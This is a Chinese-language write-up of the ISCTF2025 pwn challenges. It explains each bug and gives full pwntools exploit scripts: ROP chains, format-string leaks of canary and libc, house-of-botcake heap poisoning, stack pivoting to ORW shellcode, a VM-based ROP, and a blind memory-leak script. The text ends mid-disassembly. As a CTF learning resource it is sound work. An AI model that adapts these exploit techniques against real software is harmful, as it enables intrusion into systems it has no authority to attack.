ISCTF2025-pwn方向wp

来签个到吧

按小端序发送出去就行。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./sign")
io = remote("challenge.bluesharkinfo.com", 20884)

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()

def debug():
gdb.attach(io)
pause()

payload = b"\x00"*(0x6c) + b"\xaa" + b"\xaa" + b"\xda" + b"\xad"
sa(b"do you like blueshark?", payload)
ia()

ret2rop

直接就是栈溢出,要控制好覆盖时候覆盖的i和v3,利用xor。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./ret2rop")
io = remote("challenge.bluesharkinfo.com", 29528)

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()

def debug():
gdb.attach(io)
pause()

elf = ELF("./ret2rop")
bin_sh = 0x4040F0
ret = 0x40101a
mov_rdi_rsi = 0x401A25
pop_rsi = 0x401A1C
system = elf.plt['system']
bss = 0x404069
payload = b"\x00"*0x78 + p64(pop_rsi) + p64(bin_sh) + p64(mov_rdi_rsi) + p64(system)
sla(b"if you want to watch demo", b"no")
#debug()
sa(b"please int your name", b"/bin/sh\x00")
sa(b"yourself", payload)

ia()

heap?

虽然第一眼看起来很像堆,但其实是一个格式化字符串漏洞 + 栈溢出,泄露libc的后面就是ret2libc

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("challenge.bluesharkinfo.com", 26648)
#libc = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

sla(b">", b"1")
sla(b">", b"80")
sla(b">", b"%7$p%9$p%13$p")
sla(b">", b"3")
sla(b">", b"0")
ru(b"0x")
canary = int(r(16), 16)
ru(b"0x")
pie = int(r(12), 16) - 0x16e7
ru(b"0x")
libc_base = int(r(12), 16) - 0x29d90
ls(canary)
ls(pie)
ls(libc_base)
pop_rdi = libc_base + 0x2a3e5
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0x1d8678
sla(b">", b"2")
sla(b">", b"256")
payload = b"a"*(0x10) + p64(canary) + p64(0) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
pause()
s(payload)
ia()

2048

final()存在整数溢出,只需要扣到负数就能进入shell(),先利用printf的%s覆盖Canary的最低一字节来泄露canary,再在程序输入名字的地方输入”/bin/sh”就能直接打。

1
2
3
4
5
6
7
8
9
10
if ( (unsigned int)score <= 0x1869F )
{
puts("Your score doesn't meet the target,so you are not suitable for the flag yet...");
}
else
{
puts("here is your shell");
sleep(1u);
shell();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 shell()
{
int v1; // [rsp+Ch] [rbp-94h]
_QWORD buf[18]; // [rsp+10h] [rbp-90h] BYREF

buf[17] = __readfsqword(0x28u);
getchar();
while ( 1 )
{
while ( 1 )
{
memset(buf, 0, 128);
printf("$ ");
v1 = read(0, buf, 0x128uLL);
if ( v1 >= 0 )
break;
perror("read error");
}
if ( v1 > 0 && *((_BYTE *)buf + v1 - 1) == 10 )
*((_BYTE *)buf + v1 - 1) = 0;
printf("executing command: ");
puts((const char *)buf);
sleep(1u);
if ( !strcmp((const char *)buf, "exit") )
break;
if ( !strcmp((const char *)buf, "ls") )
system((const char *)buf);
else
printf("command not found: %s\n", (const char *)buf);
}
return 0LL;
}

shell()这里会检查输入的最后一位字节是否是回车’\n’,如果是就将’\n’置为0,那咱们不发’\n’不就行了

1
2
if ( v1 > 0 && *((_BYTE *)buf + v1 - 1) == 10 )
*((_BYTE *)buf + v1 - 1) = 0;

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./ez2048")
io = remote("challenge.bluesharkinfo.com", 29194)

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()

def debug():
gdb.attach(io)
pause()

pop_rdi = 0x40133E
bin_sh = 0x404A46
system = 0x401355
buf = b"/bin/sh\x00"
#buf = buf.ljust(0x32, b"a")

sa(b">", buf)
sa(b"game", b"\n")
for _ in range(6):
sla(b"+\n", b"q")
sla(b">", b"a")

sla(b"+\n", b"q")
sla(b">", b"q")

leak = b"a"*(0x89)
sa(b"$", leak)
ru(b"a"*(0x89))
canary = u64(r(7).rjust(8,b"\x00"))
ls(canary)
payload = b"\x00"*(0x88) + p64(canary) + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(system)
sa(b"$", payload)
#debug()
sa(b"$", b"exit")
ia()

ez_fmt

存在格式化字符串漏洞,分别泄露canary和libc_base,打ret2libc

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./ez_fmt")
io = remote("challenge.bluesharkinfo.com", 26988)

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()

def debug():
gdb.attach(io)
pause()


sa(b"input: ", b"%23$p%25$p")
canary = int(r(18), 16)

pie = int(r(14), 16) - 0x135B
ls(pie)
ls(canary)
win = 0x1204 + pie
payload = b"a"*(0x88) + p64(canary) + p64(0) + p64(win)
sa(b"input: ", payload)
ia()

ez_tcache

Ubuntu GLIBC 2.29-0ubuntu2,打house of botcake就能double free

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("challenge.bluesharkinfo.com", 21268)
libc = ELF("./glibc/libc-2.29.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

def add(size, content = "a"):
sa(b"choice:", b"1")
sa(b"Size:", str(size))
sa(b"Content:", content)
def free(idx):
sa(b"choice:", b"2")
sa(b"Index: ", str(idx))
def show(idx):
sa(b"choice:", b"3")
sa(b"Index:", str(idx))
ru(b"Content: ")


for _ in range(9):
add(0x90) #0-8

add(0x20, b"/bin/sh\x00") #9
for i in range(0, 7, 1):
free(i) #0-6

show(1)
heap_base = u64(r(6).ljust(8, b"\x00")) - 0x260
ls(heap_base)
free(8)

show(8)
libc_base = u64(r(6).ljust(8, b"\x00")) - 0x1e4ca0
ls(libc_base)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

free(7)
add(0x90)
free(8)
add(0xb0, b"a"*0x90 + p64(0) + p64(0xa1) + p64(free_hook))
add(0x90)
add(0x90, p64(system))
free(9)
ia()

金丝雀的诱惑

还是利用printf,第一次覆盖Canary的最低一字节来泄露canary,第二次还可以泄露libc,但这里我需要ret一下,栈对齐才能成功再次进入vuln()。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
#io = remote("challenge.bluesharkinfo.com", 28015)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

leak = b"a"*(0x149)
sa(b">>", leak)
ru(b"a"*(0x149))
canary = u64(r(7).rjust(8, b"\x00"))
ls(canary)
ret = 0x40101a
vuln = 0x40123D
# debug()
payload = b'a'*(0x108) + p64(canary) + p64(0) + p64(ret) + p64(vuln)
sa(b">>", payload)
leak = b"a"*(0x180)
sa(b">>", leak)
ru(b"a"*(0x180))
libc_base = u64(r(6).ljust(8, b"\x00")) - 0x947d0
ls(libc_base)
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0x1d8678
pop_rdi = libc_base + 0x2a3e5
payload = b'a'*(0x108) + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
sa(b">>", payload)
ia()

接下来的三道是后续学习复现出来的,我会写的相对详细点。

ez_stack

这道题感觉主要难在逆向分析,还原函数的运行逻辑上,搞明白主要的sub()函数是在干什么就不难做出来

image-20260325210835901

sysread()允许我们向rwx地址0x114514000里写入16字节的数据,但具体应该写入什么需要继续分析下去,下面的leak()这里还给了我们PIE基址和栈地址

image-20260325211007554

虽然附件保护全开,且开启了沙箱(常规ORW即可绕过,这里就不贴沙箱具体规则了),但是stack_overflow()这里并不需要管canary,因为并没有检查canary,但是如果修改了返回地址,程序就会调用sys_exit退出,而在这里发现stack_overflow()正常退出时会进行leave_ret,回到main()之后又会进行leave_ret,两次连续的leave_ret就让我们想到栈迁移

image-20260325211559346

image-20260325211618946

所以利用栈迁移跳转到0x114514000上面,利用前面给的机会写入shellcode来调用read(),二次读入,利用第二段shellcode构造ORW来获取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
# io = process("./baby_stack")
io = remote("challenge.imxbt.cn", 32600)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

syscall = 0x1175
rwxp = 0x114514000

shellcode = """
xor edi, edi
mov rsi, rbp
syscall
"""

sla(b"Welcome to ISCTF2025!", asm(shellcode))
ru(b"DO YOU LIKE GIFT?\n")
pie = u64(r(6).ljust(8, b"\x00")) - 0x184F
rl()
stack = u64(r(6).ljust(8, b"\x00")) - 0xe8
ls(pie)
syscall = 0x1175 + pie
pop_rbp = 0x1133 + pie
read = pie + 0x1861
leave_ret = pie + 0x12b0
ls(stack)

# debug()
payload = p64(rwxp)*2
payload = payload.ljust(0x110, b"a") + p64(stack) + p64(pie + 0x189B)
sl(payload)

orw = shellcraft.open("./flag")
orw += shellcraft.read(3, 0x114514100, 0x30)
orw += shellcraft.write(1, 0x114514100, 0x30)
payload = b"\x90"*7 + asm(orw)

sl(payload)
ia()

myvm

IDA中恢复结构体

IDA反汇编之后本来是这样的

image-20260330220211824

image-20260330220220165

这样也能分析,感觉问题不大,但是在恢复结构体之后,会更加清晰直观,更舒服

在IDA里的Local Types界面里右键添加自定义结构体

image-20260330220237643

手动恢复结构体需要进行尝试,判断出大致正确的结构体内容,这里官方wp给出了源码,直接照着写进去

image-20260330220248272

点击想要改变数据类型的变量按Y,把这里的_WORD改为Vm_code

image-20260330220308135

就会变成这样

image-20260330220315614

在main()函数进行同样的操作,如果没改变,就按F5刷新一下

image-20260330220322547

就会变成这样

image-20260330220329326

而官方源码如下:

image-20260330220344709

image-20260330220348970

会发现恢复结构体后,到这里我们的伪代码已经和源码长得非常相近了,非常方便阅读。

当vm_pwn越过了逆向部分,其实后面的操作就简单了,恢复指令集,利用指令对栈上进行操作,这里可以栈溢出,拿libc_base,构造rop然后case 9终止main(),执行ORW,我在脚本里写了比较详细的注释。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./vm")
# io = remote("challenge.imxbt.cn", 30234)
libc = ELF("./libc.so.6")

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()

def debug():
gdb.attach(io)
pause()

def recode(op, reg1, reg2, reg3):
t = reg3 << 24
t += reg2 << 16
t += reg1 << 8
t += op
return str(t) + '\n'

def add(reg1, reg2, reg3):
return recode(0, reg1, reg2, reg3)
def sub(reg1, reg2, reg3):
return recode(1, reg1, reg2, reg3)
def mul(reg1, reg2, reg3):
return recode(2, reg1, reg2, reg3)
def div(reg1, reg2, reg3):
return recode(3, reg1, reg2, reg3)
def shl(reg1, reg2, reg3):
return recode(4, reg1, reg2, reg3)
def shr(reg1, reg2, reg3):
return recode(5, reg1, reg2, reg3)
def xor(reg1, reg2, reg3):
return recode(6, reg1, reg2, reg3)
def push(reg1):
return recode(7, reg1, 0, 0)
def pop(reg1):
return recode(8, reg1, 0, 0)
def halt():
return recode(9, 0, 0, 0)

# reg[1] = p, offest()是将libc.sym[?]的偏移值写进reg[1]里
def offest(p):
pay = add(1, 1, 4) * (p & 0xf)
pay += add(1, 1, 5) * ((p >> 4) & 0xf)
pay += add(1, 1, 6) * ((p >> 8) & 0xf)
pay += add(1, 1, 7) * ((p >> 12) & 0xf)
pay += add(1, 1, 8) * ((p >> 16) & 0xf)
pay += add(1, 1, 9) * ((p >> 20) & 0xf)
return pay

# reg[0] = libc_base + libc.sym[?], pvm()是将reg[1](libc.sym[?]) + reg[2](libc_base) = reg[0],并存入栈中
def pvm(p):
pay = xor(1, 1, 1)
pay += offest(p)
pay += add(0, 1, 2)
pay += push(0)
return pay

pay = push(0)*513 #将栈抬高至canary处,此时reg[0] = 0,相当于用0来填充栈
pay += pop(3) # reg[3] = canary
pay += push(0)
pay += push(3) # rbp - 8 = canary
pay += push(0) # rbp = 0
pay += pop(2) #reg[2] = libc_base + 0x29d90

# reg[4] = 0x1
pay += div(4, 3, 3)

# reg[5] = 0x10
pay += add(5, 4, 4) # reg[5] = 2
pay += add(5, 5, 5) # reg[5] = 4
pay += add(5, 5, 5) # reg[5] = 8
pay += add(5, 5, 5) # reg[5] = 0x10

# reg[6] = 0x100
pay += mul(6, 5, 5)

# reg[7] = 0x1000
pay += mul(7, 6, 5)

# reg[8] = 0x10000
pay += mul(8, 6, 6)

# reg[9] = 0x100000
pay += mul(9, 7, 6)

#reg[2] = libc_base
pay += offest(0x29d90) # reg[1] = 0x29d90
pay += sub(2, 2, 1)

pop_rdi = 0x2a3e5
pop_rsi = 0x2be51
pop_rdx_r12 = 0x11f2e7
mov_rdi_rsi = 0x1b412a

# rop
pay += push(0)
pay += pvm(pop_rdx_r12)
pay += push(6)
pay += push(0xa)
pay += pvm(libc.sym['read'])

pay += pvm(mov_rdi_rsi)
pay += pvm(pop_rsi)
pay += push(0xa)
pay += pvm(pop_rdx_r12)
pay += push(0xa)
pay += push(0xa)
pay += pvm(libc.sym['open'])

pay += pvm(pop_rdi)
pay += add(0, 4, 4)
pay += add(0, 0, 4) # reg[0] = 3
pay += push(0)
pay += pvm(pop_rdx_r12)
pay += push(6)
pay += push(0xa)
pay += pvm(libc.sym['read'])

pay += pvm(pop_rdi)
pay += push(4) # reg[4] = 1
pay += pvm(libc.sym['write'])

pay += halt()
#debug()
io.send(pay)

io.sendline(b"./flag\x00")
ia()

bad_box

题目无附件,盲打,靶机存在格式化字符串漏洞,但有个坑点是当输入长度不足32个字节时,会采用write()来打印我们的输入,当输出长度超过32个字符时,才会用printf来打印我们的输入。

image-20260331204712681

可以看到,我们格式化字符串的位置是第8个参数,并从一个特殊的数据判断出rbp的位置,这个特殊的数据就是0x3e0523432d0e2d00,根据canary的特征,我们可以猜测它就是canary,那么canary的下一个参数就是rbp = 0x1,在下一个参数就是放回地址0x7063ab146d90,这是main()的返回地址,因为main()的返回地址是一个libc地址,而main()就在0x401275(这里能得到靶机中的附件是未开启PIE保护的),然后利用%s来泄露出main()部分的汇编,leak.py脚本是靠ai写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
from pwn import *
import sys
import os

# ==================== 配置区 ====================
HOST = "challenge.imxbt.cn"
PORT = 32247
USE_REMOTE = True # True=远程, False=本地
LOCAL_BIN = "./bad_box" # 本地二进制路径

START_ADDR = 0x401100 # 起始泄露地址
LEAK_SIZE = 0x100 # 泄露字节数
CHUNK_SIZE = 4 # 每次连接泄露的字节数

BANNER = b'fun\n' # recvuntil 的 banner
MAX_RETRY = 3 # 单次连接失败重试次数
DELAY = 0.05 # 每次连接间隔(秒)

# payload 结构说明:
# 前缀 padding(12字节 'A')+ 4组 T(%N$s)T 定界符
# 格式串部分固定 48 字节 = 6 个栈槽
# 输入从栈偏移 8 开始,所以地址从偏移 8+6=14 开始
# 即 %14$s, %15$s, %16$s, %17$s
# 总 payload = 48 + 4*8 = 80 字节 > 32 ✓
# ================================================


def connect():
if USE_REMOTE:
return remote(HOST, PORT, timeout=5)
else:
return process(LOCAL_BIN)


def build_payload(addresses, chunk_size=4):
"""
动态构造 payload,自动计算偏移,保证 > 32 字节。

布局: [padding + T(%N$s)T * chunk_size] [p64(addr) * chunk_size]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^
格式串部分(对齐到8字节倍数) 地址部分
"""
INPUT_STACK_OFFSET = 8 # 输入在栈上的起始偏移

# 先构造格式串,估算长度
# 每个 T(%NN$s)T 约 10 字节,加前缀 padding
prefix = b'A' * 12 # 12 字节前缀,用于 recvuntil 定位

fmt_parts = b''
# 先用占位符算长度
for i in range(chunk_size):
fmt_parts += b'T(%99$s)T' # 2位偏移占位

total_fmt_len = len(prefix) + len(fmt_parts)
# 对齐到 8 字节
padded_len = ((total_fmt_len + 7) // 8) * 8
slots = padded_len // 8
base_offset = INPUT_STACK_OFFSET + slots

# 正式构造格式串
fmt = prefix
for i in range(chunk_size):
offset = base_offset + i
fmt += f'T(%{offset}$s)T'.encode()

# padding 到对齐
fmt = fmt.ljust(padded_len, b'A')

# 拼接地址
payload = fmt
for addr in addresses:
payload += p64(addr)
# 不足 chunk_size 个地址时用 0 填充
for _ in range(chunk_size - len(addresses)):
payload += p64(0)

# 确保 > 32 字节
assert len(payload) > 32, f"payload 长度 {len(payload)} <= 32,需要调整 padding"

return payload, prefix


def leak_data(start_addr, leak_size, chunk_size=CHUNK_SIZE):
"""
自动化数据泄露函数

Args:
start_addr: 起始地址
leak_size: 需要泄露的总字节数
chunk_size: 每次泄露的字节数(默认4)
Returns:
泄露的原始字节数据
"""
data = []
current_byte = 0

# 断点续传:检查是否有之前的进度
progress_file = 'leak_progress.bin'
if os.path.exists(progress_file):
with open(progress_file, 'rb') as f:
saved = f.read()
if len(saved) > 0:
print(f"[*] 发现断点文件,已泄露 {len(saved)} 字节,是否续传?(y/n)")
choice = input().strip().lower()
if choice == 'y':
data = [saved[i:i+1] for i in range(len(saved))]
current_byte = len(saved)
print(f"[+] 从字节 {current_byte} 继续泄露")

while current_byte < leak_size:
# 构造当前批次的地址
addresses = []
actual_count = min(chunk_size, leak_size - current_byte)
for i in range(actual_count):
addresses.append(start_addr + current_byte + i)

# 构造 payload
payload, prefix = build_payload(addresses, chunk_size)

# 重试机制
success = False
for retry in range(MAX_RETRY):
try:
p = connect()
p.recvuntil(BANNER)

p.sendline(payload)

# 接收:先等到前缀 padding
response = p.recvuntil(prefix, timeout=3)
response = p.recv(timeout=2)

raw_data = response
if context.log_level == logging.DEBUG:
print(f" Raw (hex): {raw_data.hex()}")

# 解析 T( 和 )T 定界符
parts = []
start_idx = 0
while True:
t_start = raw_data.find(b'T(', start_idx)
if t_start == -1:
break
t_end = raw_data.find(b')T', t_start + 2)
if t_end == -1:
break
content = raw_data[t_start + 2:t_end]
parts.append(content)
start_idx = t_end + 2

# 处理每个部分
for i, part in enumerate(parts[:actual_count]):
if len(part) == 0:
data.append(b'\x00')
else:
data.append(part[0:1])

# 如果解析到的 parts 不足,补 \x00
for i in range(len(parts), actual_count):
data.append(b'\x00')

p.close()
success = True
break

except Exception as e:
print(f" [!] 连接失败 (重试 {retry+1}/{MAX_RETRY}): {e}")
try:
p.close()
except:
pass
time.sleep(1)

if not success:
print(f" [!] 字节 {current_byte} 泄露失败,填充 \\x00")
for i in range(actual_count):
data.append(b'\x00')

current_byte += actual_count

# 实时 hexdump 显示(每 16 字节一行)
leaked_so_far = b''.join(data)
line_start = ((current_byte - 1) // 16) * 16
line_data = leaked_so_far[line_start:current_byte]
if current_byte % 16 == 0 or current_byte >= leak_size:
hex_part = ' '.join(f'{b:02x}' for b in line_data)
asc_part = ''.join(chr(b) if 0x20 <= b < 0x7f else '.' for b in line_data)
print(f" 0x{start_addr + line_start:08x}: {hex_part:<48s} |{asc_part}|")

# 定期保存进度
if current_byte % 32 == 0:
with open(progress_file, 'wb') as f:
f.write(b''.join(data))

time.sleep(DELAY)

return b''.join(data)


def format_hex(data):
"""将字节数据格式化为带空格的十六进制字符串"""
hex_str = data.hex()
return ' '.join(hex_str[i:i+2] for i in range(0, len(hex_str), 2))


def hexdump_full(data, base_addr):
"""完整 hexdump 输出"""
lines = []
for i in range(0, len(data), 16):
chunk = data[i:i+16]
hex_part = ' '.join(f'{b:02x}' for b in chunk)
asc_part = ''.join(chr(b) if 0x20 <= b < 0x7f else '.' for b in chunk)
lines.append(f"0x{base_addr + i:08x}: {hex_part:<48s} |{asc_part}|")
return '\n'.join(lines)


def main():
context.log_level = 'info' # 改 'debug' 可看详细通信

target = LOCAL_BIN if not USE_REMOTE else f"{HOST}:{PORT}"
print(f"\n{'='*50}")
print(f"格式化字符串内存泄露")
print(f"{'='*50}")
print(f"目标: {target}")
print(f"地址: 0x{START_ADDR:x} -> 0x{START_ADDR + LEAK_SIZE:x}")
print(f"大小: {LEAK_SIZE} 字节 (每次 {CHUNK_SIZE} 字节)")
print(f"{'='*50}\n")

# 执行泄露
leaked_data = leak_data(START_ADDR, LEAK_SIZE)

# 打印完整结果
print(f"\n{'='*50}")
print("LEAK COMPLETED!")
print(f"{'='*50}")
print(f"Leaked {len(leaked_data)} bytes:\n")
print(hexdump_full(leaked_data, START_ADDR))

# 保存十六进制
hex_output = format_hex(leaked_data)
with open('leaked_data.hex', 'w') as f:
f.write(hex_output)
print("\n[+] Hex data saved to 'leaked_data.hex'")

# 保存原始二进制
with open('leaked_data.bin', 'wb') as f:
f.write(leaked_data)
print("[+] Raw data saved to 'leaked_data.bin'")

# 清理进度文件
if os.path.exists('leak_progress.bin'):
os.remove('leak_progress.bin')
print("[+] 进度文件已清理")

print(f"\n[*] 反汇编命令:")
print(f" ndisasm -b 64 -o 0x{START_ADDR:x} leaked_data.bin")


if __name__ == '__main__':
main()

将泄露出的bin文件简单编译成汇编如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
┌─[icyice@icyice-virtual-machine] - [~/Desktop/2025xinshengsai/IS/bad_box] - [10014]
└─[$] ndisasm -b 64 -o 0x401275 leaked_data.bin [14:02:22]
00401275 F30F1EFA endbr64
00401279 55 push rbp
0040127A 4889E5 mov rbp,rsp
0040127D 4881EC20010000 sub rsp,0x120
00401284 64488B0425280000 mov rax,[fs:0x28]
-00
0040128D 488945F8 mov [rbp-0x8],rax
00401291 31C0 xor eax,eax
00401293 B800000000 mov eax,0x0
00401298 E859FFFFFF call 0x4011f6
0040129D 488D05690D0000 lea rax,[rel 0x40200d]
004012A4 4889C7 mov rdi,rax
004012A7 E8F4FDFFFF call 0x4010a0
004012AC 488D056E0D0000 lea rax,[rel 0x402021]
004012B3 4889C7 mov rdi,rax
004012B6 E8E5FDFFFF call 0x4010a0
004012BB 488D05680D0000 lea rax,[rel 0x40202a]
004012C2 4889C7 mov rdi,rax
004012C5 E8D6FDFFFF call 0x4010a0
004012CA 488D85F0FEFFFF lea rax,[rbp-0x110]
004012D1 BA00010000 mov edx,0x100
004012D6 4889C6 mov rsi,rax
004012D9 BF00000000 mov edi,0x0
004012DE E8FDFDFFFF call 0x4010e0
004012E3 8985ECFEFFFF mov [rbp-0x114],eax
004012E9 83BDECFEFFFF20 cmp dword [rbp-0x114],byte +0x20
004012F0 7F27 jg 0x401319
004012F2 8B85ECFEFFFF mov eax,[rbp-0x114]
004012F8 4863D0 movsxd rdx,eax
004012FB 488D85F0FEFFFF lea rax,[rbp-0x110]
00401302 4889C6 mov rsi,rax
00401305 BF01000000 mov edi,0x1
0040130A E8A1FDFFFF call 0x4010b0
0040130F BF00000000 mov edi,0x0
00401314 E8E7FDFFFF call 0x401100
00401319 488D85F0FEFFFF lea rax,[rbp-0x110]
00401320 4889C7 mov rdi,rax
00401323 B800000000 mov eax,0x0
00401328 E8A3FDFFFF call 0x4010d0
0040132D BF00000000 mov edi,0x0
00401332 E8C9FDFFFF call 0x401100
00401337 00F3 add bl,dh
00401339 0F1EFA hint_nop55 edx
0040133C 4883EC08 sub rsp,byte +0x8
00401340 4883C408 add rsp,byte +0x8
00401344 C3 ret

接下来需要尝试泄露出符号表,这一步需要随便打开一个程序来推测符号表在哪里,

拿ez_fmt和ez_stack的题目附件示例:

image-20260331211308988

image-20260331211351088

它们的符号表分别在0x5500x480处,那这里就大概是0x400550或0x400480左右,尝试并修正一下位置,泄露出

image-20260331211751099

而有了符号表以后再结合之前的靶机连接结果和main()里对应的参数设置可以尽可能还原出main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
00401275  F30F1EFA          endbr64
00401279 55 push rbp
0040127A 4889E5 mov rbp,rsp
